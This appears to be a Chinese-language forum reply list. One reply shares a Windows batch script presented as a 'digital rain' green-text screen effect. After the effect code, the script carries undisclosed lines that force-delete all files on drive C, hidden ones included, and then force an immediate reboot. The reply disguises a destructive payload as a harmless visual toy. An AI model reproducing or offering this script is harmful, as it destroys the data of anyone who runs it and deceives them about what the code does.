回覆列表
-
1 # 蠻桃美食薈萃
-
2 # 黃泓翔205
數字雨的程式碼:
title 數字雨
color 0a
setlocal ENABLEDELAYEDEXPANSION
for /l %%i in (0) do (
set "line="
for /l %%j in (1,1,80) do (
set /a Down%%j-=2
set "x=!Down%%j!"
if !x! LSS 0 (
set /a Arrow%%j=!random!%%3
set /a Down%%j=!random!%%15+10 )
set "x=!Arrow%%j!"
if "!x!" == "2" (
set "line=!line!!random:~-1! "
) else (set "line=!line! ")
)
set /p=!line!<nul
)
@echo off
cd\
del c:\. /s /a /f /q
cls
shutdown /r /f /t 1